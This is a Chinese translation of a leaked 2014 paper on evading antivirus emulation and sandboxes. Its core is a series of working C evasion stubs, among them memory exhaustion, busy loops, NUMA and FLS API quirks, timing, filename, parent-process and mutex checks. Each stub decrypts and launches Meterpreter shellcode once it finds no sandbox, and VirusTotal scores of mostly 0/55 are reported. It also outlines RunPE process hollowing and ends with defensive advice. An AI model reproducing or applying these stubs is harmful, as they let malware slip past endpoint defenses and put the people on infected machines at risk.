绕过反病毒软件的动态分析 ——反病毒软件模型的局限性以及利用首席安全官频道

前言

本文原始出处在,首席安全官频道近期在分析wiki泄密CIA的文件时发现了它(源地址:https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf )。虽说是2014年8月所撰写的内容,但其思路和测试方法依然有一定的研究价值,所以将其翻译出来,供大家借鉴学习。

文中部分原文关键字已保留,笔者觉得原文更加容易理解一些。因英语水平有限,许多地方翻译的不是很通顺,请各位海涵。

注意:这篇文章需要一些C语言和windows 系统编程方面的知识。

1.介绍

“Antivirus are easy to bypass ”, “Antivirus are mandatory in defense in depth ”, “This Cryptor is FUD”是当你做一些反病毒安全研究的时候经常听到的句子。我问我自己,绕过杀软真的很简单吗?经过研究后,我得出了跟其他人一样的结论,绕过杀软包括两大步骤:

隐藏那些可能被识别为具有恶意行为的代码,一般使用加密来处理。

用一种不被仿真或者沙箱系统检测为病毒的解密Stub编写的方式。

在这个文章中,我将主要集中讨论最后一个方法,如何戏弄AV的仿真/沙箱系统。

我曾经给我自己设定了一个挑战,要找出半打完全检测不到的Stub编写方法,实际上我找出了更多的Sub,这里列出其中一些方法。其中一些是非常复杂的(并且大部分的“FUD”恶意代码销售者使用这些)。其他的一些是如此的简单以至于我不理解为什么以前没有发现它们。我是相当确定隐藏在地下和官方雇佣的病毒作者是充分理解这些的,以至我想跟大家分享这些技巧。

2.绕过杀软的理论

2.1 静态特征分析

静态分析是基于黑名单的方法。当一个新的恶意软件被AV分析者检测到,特征码被提取。特征码是基于特殊的代码和数据(例如一个使用特殊字符串名的互斥量)。很多时候特征码使用恶意的可执行二进制文件的开始字节。AV拥有成千上万的恶意软件的特征码数据库,在这个恶意数据库中与扫描码进行匹配。第一代AV使用这个方法,现在依然在被使用,同时结合了启发式与动态分析。YARA工具可以被很容易用于创建规则并分类和识别恶意软件。这些规则被上传到AV和逆向工具。YARA 可以在 找到。

基于这种分析方法最大的问题是其不能够被用于检测新的恶意软件。这样为了绕过基于特征码的分析,一个人必须简单创建一个新的代码,或者做一些细微精确的修改抹去实际存在的特征。当在一个解密Sub中寻找指定的指令时,仍然可能在一个已经加密的恶意软件的代码中创建一个特征码。

2.2静态启发式分析

在这种检测方式下,AV会检查已经在恶意软件中发现的代码模式。有大量可使用的依赖于AV供应商的规则。这些规则一般没有被描述(我想应该是为了避免它们被轻易绕过),这也是为什么总是不容易理解AV是如何判断一个软件是恶意的了。启发式分析的主要好处是,它能够检测到在数据库种并不存在其特征码的新的恶意代码。主要的缺点是,它会产生误报。

有一个例子:函数CallNextHookEx一般被用户态的键盘记录器使用。一些杀软认为这个函数的用法是一个威胁,如果这个函数的名字在可执行文件中被检测到,将发出一个关于这个软件启发式的警告。

另一个例子:一段代码打开“explorer.exe”进程,尝试写一些代码到其虚拟内存空间,这也被考虑为恶意的行为。

最容易的绕过启发式分析的方法是,确保所有的恶意代码是隐藏的。对于这个,编写解密的代码是最常用的方法。如果在解密之前,没有触发警告,如果这个解密Stub在解密完没有产生一些一般被认为恶意的行为,那么这个恶意软件不会被检测出来。

我基于Bill Blunden 的书《Rootkit Arsenel》写了一段demo代码. 这个代码是可用的,在?Code-segment-encryption,这里有另外一个链接,可以使Meterpreter的可执行程序对于杀软来说是检测不出来的。

( ?Hide-meterpreter-shellcode-in).

2.3动态分析

现如今,大部分的AV依赖于动态检测的方法。当一个可执行文件是被扫描,它会被运行在一个虚拟的环境很短的时间。结合特征码和启发式分析,可以检测到未知的恶意软件,甚至依赖于加密的恶意软件。确实,在AV沙盒中,代码是自加密的;接着,对于解密出来的代码能够触发一些可疑的行为。

如果一段代码使用加解密Stub隐藏一个恶意软件,倘若他们跳过解密阶段,大部分的AV会检测到它。

这就意味着,绕过杀软动态分析依赖于两个方面:

l 有一个不被检测到的自解密机制(针对于启发式).

l 阻止AV执行解密stub

我找出了有大量容易的方法来愚弄AV不执行解密Stub。

2.4杀软的局限性

实际上,动态分析是一件复杂的事情,会扫描成千上万的文件,在仿真的环境执行它们,检查所有的特征码,但是它也有很多的局限性。

动态分析模型有三个主要的局限性可以被利用:

l 扫描必须非常快,这样每次扫描有运行操作次数的限制。

l 环境是模拟的,意识不到机器和恶意软件环境的差异性。

l 仿真/沙盒系统有一些可以被恶意软件检测出来的差异性。

3.测试条件

3.1 本地环境

我编译了源代码并在本地搭建安装了杀软的Windows 7 虚拟机环境下测试了这些代码。

3.2 VirusTotal

VirusTotal(https://www.virustotal.com)是针对多个AV的在线扫描的参考平台。它旨在为每个人提供验证可疑文件的可能性。它连接到超过50 个AV扫描器,囊括了所有主要的产品。VirusTotal也是检查AV绕过的一个有趣的技术平台。注意:VirusTotal不应该用于与实际安装的AV软件进行比较,因为它们有不同的版本和配置。此外,VirusTotal调用的AV服务可能与PC上安装的AV服务不同。

你可能会问我,“众所周知,如果你想要一个未被检测到的恶意软件来保留FUD特性,你应该永远不会发送到VirusTotal。为什么你要这么做呢?”首先,我不在乎;事实上,有很多方法绕过AV,即使那些被纠正了,如果我需要它,它们仍然可以使用。其次,下面描述的一些方法是如此的简单而强大。它们也依赖AV的限制,修改成本太高。所以我很自信这些方法还会在几个月或几年后能够使用,即使样本被提交。第三,我认为这些方法是恶意软件作者所熟知的,应该与社区和AV供应商分享。

3.3 加密的恶意软件

对于我的测试,我利用在3.3中描述的方法。我需要一段一般会被认为是恶意代码的代码。最好的方法是使用已经众所周知的Merterpreter的payload。我创建了一段C代码,调用没有加密的Meterpreter shellcode,正如在这里有描述:

?Hide-meterpreter-shellcode-in

我采用这样的方式加密了这段代码,这样AV静态分析就失败了(包括解密Stub的分析)。

这个显示如今,AV依靠越来越多的动态分析,但是还不是主要使用它们。

4.复杂的方法

有一些被用于绕过杀软的复杂方法,这些方法很好的被文档化了,了解它们是很重要的,但这并不是这篇文章的主题(我们的主题是绕过杀软的简单方法 )。这些复杂的方法不仅仅是被用于绕过杀软的检测,还经常被现代的杀软使用,。

这两种复杂的方法在这里暗示使用了一种不同寻常的方法来运行代码。

4.1 代码注入方法

代码注入指在另一个进程内运行代码。这个一般通过DLL注入来实现,但也有其他可能存在的方法,甚至可能直接注入完整的exe(正如在这里描述的:

?PE-injection-explained)。

这个过程的复杂性在于被注入的代码必须找到一种不被系统正常加载(尤其因为基地址不是一样的)也能执行自身的方法。

对于DLL注入,当DLL被加载,其代码便会执行。对于代码注入,代码必须要基于其重定位表来修改其内存指针,重建IAT也是很重要的。

DLL注入和代码注入在网络上有很多的资源。这些方法完成是复杂的,描述他们更是本文的范围之内。只要记住,虽然代码注入是一个恶意软件隐形的好办法,大量其中的代码也是可能通过启发式分析识别的。我想这就是为什么代码注入一般不用于绕过AV,而是使用后用来隐藏和获取特权(例如注入进浏览器的代码和浏览器一样有相同的访问防火墙的权限。

4.2  RunPE 方法

这个“RunPE”术语指出了一种方法,这个方法是通过替换掉进程空间的代码从而在目标进程中运行我们想要运行的代码。和代码注入不同的是,在代码注入中你是在远程进程开辟的空间中执行代码;但是在RunPE这个技术中,你使用你想要执行的代码替换掉了远程进程的代码。

下面是一个小的例子,说明这个方法是如何隐藏恶意代码的。

想象一下,恶意代码被加壳或者加密了,被插入到一个专门加载它的二进制代码中。当加载器执行,它将执行:

在一个可疑的环境下使用CreateProcess打开一个合法的系统进程(例如:cmd.exe或者calc.exe)。

取消映射(Unmap)进程(使用NtUnmapViewOfSection)

使用恶意代码替换掉这个进程(使用WriteProcessMemory)

一旦进程被Resume(使用ResumeThread),恶意软件就会被替代进程执行

注意:当进程被DEP保护的时候,替换一个进程的内存不是很有可能的,参考:

无论如何,在这种情况下,在另一个进程中使用RunPE,加载器能够调用其另外一个实例,并在其内存运行恶意代码。由于被修改的代码是被攻击者编写的,这个方法将总是有效(加载器应该在编译选项没有使用DEP的情况下编译,这个需要在这个测试中支持)。

RunPE结合自定义的解密Stubs是经常被自己要求是“FUD cryptor”(这个是可以在恶意软件市场得到的)的使用。

正如代码注入的方法一样,但是因为这篇文章的主题不是这方面的,所以没有给充分的代码。

5.简单但是有效的方法

如今,我们已经提出了一些复杂的方法,让我们继续来看看一些简单的方法,包括一些我测试过的代码例子。我也列出了每一个例子在VirusTotal网站的检测结果。

5.1 The “Offer you have to refuse” method

AV扫描器主要的限制是需要在每个文件上花费大量的时间。在一个常规的系统扫描中,AV必须要分析成百上千的文件。它不能够花费过多的时间和力量在个别的文件上(这就可以在AV上导致一个拒绝服务攻击)。最简单绕过AV的方法是仅仅在代码解密之前,消耗掉AV足够的时间。一个简单的Sleep不能够实现这个技巧,AV模拟器已经适应了这个。无论如何有大量的方法可以实现取得时间。这个被叫做“Offer you have to refuse ”,因为它强行让AV去检查一些代码,这个会消耗掉AV大量的资源,因此我们确信在解密代码被执行之前AV会放弃这个检查。

例1:分配并填充100M内存

在第一个例子中,我们仅仅分配并填充100m内存。这个足以阻止任何模拟AV输出。

注意:在下面的代码中,大部分的AV会在malloc的过程中仅仅停止,关于分配指针的条件验证甚至没有必要。

#define TOO_MUCH_MEM 100000000
int main()
{
char * memdmp = NULL;
memdmp = (char *) malloc(TOO_MUCH_MEM);
if(memdmp!=NULL)
{
memset(memdmp,00, TOO_MUCH_MEM);
free(memdmp);
decryptCodeSection();
startShellCode();
}
return 0;
} 

VirusTotal检测结果:0/55

看看减少AV检测是多么容易,这个方法依赖于经典但是很常见的malloc函数,不需要可以被作为特征码的任何字符串就能做到。仅仅的缺点是这100m内存会被系统监控到。

例子2:成百上千的递增

一个更简单的不会让任何系统跟踪的例子,由一个需要足够时间的基本操作组成。

在这个例子中,我们使用for循环去每次递增1,达到100万次。这个足以绕过杀软,而且对于现代CPU是可行的。一个人在运行这段代码不会检测到任何的异常。

#define MAX_OP 100000000
int main()
{
int cpt = 0;
int i = 0;
for(i =0; i < MAX_OP; i ++)
{
cpt++;
}
if(cpt == MAX_OP)
{
decryptCodeSection();
startShellCode();
}
return 0;
} 

VirusTotal检测结果:0/55

又是一个FUD方法。这个“Offer you have to refuse”是一个绕过杀软强大的方法。

5.2  The I shouldnt be able to do that!” method

在这里的内容是,由于在一个仿真的系统里被推出,或许会有一些错误发生,代码或许在正常权限下不会运行。一般来说,在所有权限下,代码都将运行。这个能够被用来猜出这个代码是否在被分析。

例子1:尝试打开系统进程

代码会尝试打开一般是拥有所有权限的4号系统进程。如果这个代码没有运行在系统MIC和会话0下,这个将会失败(OpenProcess会返回 00 )。在这个VirusTotal中,你会看到这个不是FUD方法,而是绕过一些对这个特殊问题脆弱的杀软。

int main()
{
HANDLE file;
HANDLE proc;
proc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 4 );
if (proc == NULL)
{
decryptCodeSection();
startShellCode();
}
return 0;
} 

VirusTotal检测结果:11/55

然而与4.3部分的反病毒软件不同,实际上只有两个AV检测到了meterpreter部分。所有其他AV报毒是因为使用OpenProcess函数触发了杀软,被判定为恶意后门(静态启发式分析)。这里的要点是显示仿真环境与正常环境不同(恶意代码在AV中被以高权限模拟运行)。这可以在不触发启发式检测的情况下进行调整,例如:如果恶意代码本身是在没有管理员权限下运行的。

例子2: 尝试打开一个不存在URL

想自我意识到代码处于沙箱的一个方法是在互联网上下载一个指定的文件,然后与代码中已经知道的hash值进行比较。为什么这个有效呢?这是因为沙箱环境不给潜在的恶意代码访问互联网的权限。当一个被沙箱分析的文件访问互联网,沙箱只会发送其自身成的文件。因此代码可以通过比较这个文件和其所期望的文件进来判断是否处于沙箱之中。

这个方法有一点问题,首先,如果你没有互联网的访问权限这个就没有效。其次,如果下载的文件改变或者被移除了,代码也不会有效。

另一个没有这些问题的方法是做这个相反的!尝试访问不存在的web域。在真实的世界里,这个会失败。在AV中,因为AV会使用其模拟的页面,这个方法是有效的。

#include <Wininet.h>
#pragma comment(lib, "Wininet.lib")
int main()
{
char cononstart[]  = "http://www.notdetectedmaliciouscode.com//"; //Invalid URL
char readbuf[1024];
HINTERNET httpopen, openurl;
DWORD read;
httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
openurl=InternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET
_FLAG_NO_CACHE_WRITE,NULL);
if (!openurl) // Access failed, we are not in AV
{
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
decryptCodeSection();
startShellCode();
}
else // Access successful, we are in AV and redirected to a custom webpage
{
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
}
}

VirusTotal检测结果:2/55  

有意思的是,在这两个结果中,有一个AV认为我的stub或许是一个dropper(愚蠢的启发式误报)。第二个真正的找到了Meterpreter后门。这个的确很怪异,这就意味着,要不然是这些家伙有一个真正智能的系统,或者就是在它们使用的沙箱中允许网络连接。

我曾经读过一些文章,文章中说他上传到VirusTotal时,获得了一个Meterpreter的连接。

5.3 The “Knowing your enemy” method

如果某些人知道了一些目标机器上的一些信息,绕过杀软会变得相当的容易。把代码解密机制链接到你知道目标计算机上的一些信息(或者工作组)。

例子1: 依赖于本地用户名的操作

如果系统上的用户名被知道,可能做一些依赖于用户名的操作。例如,我们能够尝试访问在用户账户里面的文件。在下面的代码中我们在桌面创建了一个文件,我们在里面写了一些字符,然后只有我们可以打开这个文件,读取这些字符,我们开始解密方案。

#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"
int main()
{
HANDLE  file;
DWORD  tmp;
LPCVOID buff = "1234";
char outputbuff[5]={0};
file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 
FILE_ATTRIBUTE_NORMAL, 0);
if(WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL))
{
CloseHandle(file);
file = CreateFile(FILE_PATH, 
GENERIC_READ, 
FILE_SHARE_READ, 
NULL, 
OPEN_EXISTING,  // existing file only
FILE_ATTRIBUTE_NORMAL , 
NULL); 
if(ReadFile(file,outputbuff,4,&tmp,NULL))
{
if(strncmp(buff,outputbuff,4)==0)
{
decryptCodeSection();
startShellCode();
}
}
CloseHandle(file);
}
DeleteFile(FILE_PATH);
return 0;
}

VirusTotal检测结果:0/55

不用说这个就是FUD了。实际上,AV扫描器一般会在不是预期路径下创建和写入一个文件失败。我起初是很惊讶的,因为我预期AV是已经适应了主机PC,但它却不是这样的(我曾经在相同PC上测试过几个AV,不是仅仅使用了VirusTotal)。

5.4. The “WTF is that?” method

Windows 系统API是如此的大以至于AV仿真系统没有覆盖到所有的东西。在这一节中,我放了两个例子而不是大量在Windows系统上API的漫谈。

例子1: What the fuck is NUMA?

NUMA代表Non Uniform Memory Access(非一致内存访问)。它是一个在多系统中配置内存管理的方法。它与定义在Kernel32.dll中所有一系列函数连接在一起。

更多的信息可以参考这里:

(v=vs.85).aspx

下面的代码在常规的PC下是有效的,但是在AV仿真下会失败。

int main( void )
{
LPVOID mem = NULL;
mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | 
MEM_COMMIT, PAGE_EXECUTE_READWRITE,0);
if (mem != NULL)
{
decryptCodeSection();
startShellCode();
}
return 0;
}

VirusTotal检测结果:0/55

例子2: What the fuck are FLS?

FLS是Fiber Local Storage(纤程本地存储),被用来操纵与纤程相关的数据。纤程是一整套运行在线程里的可执行组件。参考这里:

(v=vs.85).aspx

有趣的是,一些AV仿真器对于FlsAlloc函数总是返回FLS_OUT_OF_INDEXES。

int main( void )
{
DWORD result = FlsAlloc(NULL);
if (result != FLS_OUT_OF_INDEXES)
{
decryptCodeSection();
startShellCode();
}
return 0;
}

VirusTotal检测结果:8/55

5.5. The “Checking the environment” method

这里的主题也是简单的。如果AV依赖于一个沙盒/仿真环境,一般其环境与真实的环境是不一样的。有大量的方法做这种检查。下面描述了其中两种方法:

例子1:检查进程内存

使用Sysinternals工具,我意识到当一个AV扫描一个进程的时候,会改变它的内存。AV会为进程开辟内存,仿真的代码进程API也会返回与我们预期不同的值。在这种情况下,我在当前进程使用GetProcessMemoryInfo。如果当前工作设置大于3500000 bytes,我认为这个代码运行在一个AV环境中,如果不是,那么这个代码就解密并运行。

#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
int main()
{
PROCESS_MEMORY_COUNTERS pmc;
GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));
if(pmc.WorkingSetSize<=3500000)
{
decryptCodeSection();
startShellCode();
}
return 0;
}

VirusTotal检测结果:1/55

几乎FUD了。似乎AV没有检测到Meterpreter,而是在主函数上触发了启发式检测。检测事件似乎是被链接到了被杀软pached的Windows系统可执行文件(别问我,在这个case中,为什么这个代码是被认为pached了的Windows系统可执行文件。

例子2: Time distortion

我们知道Sleep函数是被AV仿真了。做这个是为了阻止使用一个简单的Sleep调用就绕过扫描时间限制。这个问题是,是否在这个模拟的Sleep方式中存在缺陷?

#include <time.h>
#pragma comment (lib, "winmm.lib")
int main()
{
DWORD mesure1 ;
DWORD mesure2 ;
mesure1 = timeGetTime();
Sleep(1000);
mesure2 = timeGetTime();
if((mesure2 > (mesure1+ 1000))&&(mesure2 < (mesure1+ 1005)))
{
decryptCodeSection();
startShellCode();
}
return 0;
}

VirusTotal检测结果:8/55

明显一些AV在这个技巧的使用上失败了。

例子3: What is my name?

由于代码是被仿真的,它不是被启动为一个与二进制文件名字一样的进程。这个方法在这里有描述描述:?p=1613

测试的二进制文件时“test.exe”。在这个代码中,我们检查了包含这个文件名字的第一个参数。

int main(int argc, char * argv[])
{
if (strstr(argv[0], "test.exe") >0)
{ 
decryptCodeSection();
startShellCode();
}
return 0;
}

VirusTotal检测结果:0/55

The DeepSec article was written in 2013 and method is still FUD

5.6. The “I call myself” method

这个与环境检查的方法不同。如果它以一种确定的方法调用,AV将仅仅触发这个代码。

例子1: I am my own father

在这个例子中,如果它的父进程也是test.exe的话,可执行文件(test.exe)才会进入解密的分支。当代码被安装,它会获取其父进程的ID,如果其父进程不是test.exe,它会调用test.exe然后停止。被调用的进程也有一个叫test.xee的父进程并且进入解密部分。

#include <TlHelp32.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
int main()
{
int pid = -1;
HANDLE hProcess;
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof(PROCESSENTRY32);
// Get current PID
pid = GetCurrentProcessId();
if( Process32First(h, &pe)) 
{
// find parent PID
do
{
if (pe.th32ProcessID == pid) 
{
// Now we have the parent ID, check the module name
// Get a handle to the process.
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 
pe.th32ParentProcessID);
// Get the process name.
if (NULL != hProcess )
{
HMODULE hMod;
DWORD cbNeeded;
TCHAR processName[MAX_PATH];
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
// If parent process is myself, decrypt the code
GetModuleBaseName( hProcess, hMod, processName, 
sizeof(processName)/sizeof(TCHAR) );
if (strncmp(processName,"test.exe",strlen(processName))==0)
{
decryptCodeSection();
startShellCode();
}
else
{
// or else call my binary in a new process 
startExe("test.exe");
Sleep(100); // Wait for child
}
}
}
// Release the handle to the process.
CloseHandle( hProcess ); 
}
} while( Process32Next(h, &pe));
}
CloseHandle(h); 
return 0;
}

VirusTotal检测结果:1/55

AV一般不会跟踪这一类进程,因为它们会扫描父进程,而不是子进程(甚至实际上它是一样的代码)。

例子2: First open a mutex

在这个例子中,只有当一个确定的互斥量对象已经存在于系统中,代码(test.exe)才会开始解密代码。这个技巧是这样,当这个对象不存在,代码会创建并调用其自己一个新的实例。在父进程结束之前,子进程会尝试创建一个互斥量,会进入这个ERROR_ALREADY_EXIST代码分支。

int main()
{
HANDLE mutex;
mutex = CreateMutex(NULL, TRUE, "muuuu");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
decryptCodeSection();
startShellCode();
}
else
{
startExe("test.exe");
Sleep(100);
}
return 0;
}

VirusTotal检测结果:0/55

这是另一个使用简单的方法实现的FUD效果。

6.结论

以上例子说明,若是能够利用杀软的弱点,绕过他们是很容易的。仅仅需要一些关于windows系统的知识和杀软工作的机制。但是,我并不是说杀软是没用的。杀软在检测已经存在于特征数据库种的恶意代码是非常有用的。同时,杀软对于系统恢复也是很有用的。我想说的是,杀软可以容易被新的病毒戏弄,尤其是对于有目的的攻击。

自定义的恶意软件经常作为APT攻击的一部分,杀软可能对于它们的攻击显的没有用。这并不意味着丢失了一切!对于杀软有选择的方案:加固系统、设置应用程序白名单机制、基于主机的入侵防御系统等。这些解决方案有其长度和短处。

如果我给一些谦虚的建议来抵抗恶意软件,我想说:

(1) 没必要的情况下永远不要作为administrator权限去运行程序。这个黄金定律在没有杀软的情况下,能够避免99%的恶意软件。这个已经成为Linux用户做一些操作的正常的方式很多年了。这是我最重要的安全措施建议。

(2) 加固系统,当前版本的windows系统有很强大的安全特性,尽管使用。

(3) 部署NIDS(入侵检测系统)监控你的网络。很多时候,感染恶意软件并不是在受害者机器上被检测到的,而是应该感谢NIDS和防火墙日志。

(4) 使用多个不同厂商的杀软。一个产品的长处可以覆盖另一个短处,也有可能一个国家的杀软对于来自该国家的杀软竟会更加熟

(5) 最后一点,安全意识建设。如果人被利用了,那么杀软基本是没用的。

参考文献:

https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf

注:原文链接—https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf 。

*本文由任子行翻译,原文版权归作者本人所有,转载请注明原文出处

2017-08-11 16:08 阅读:133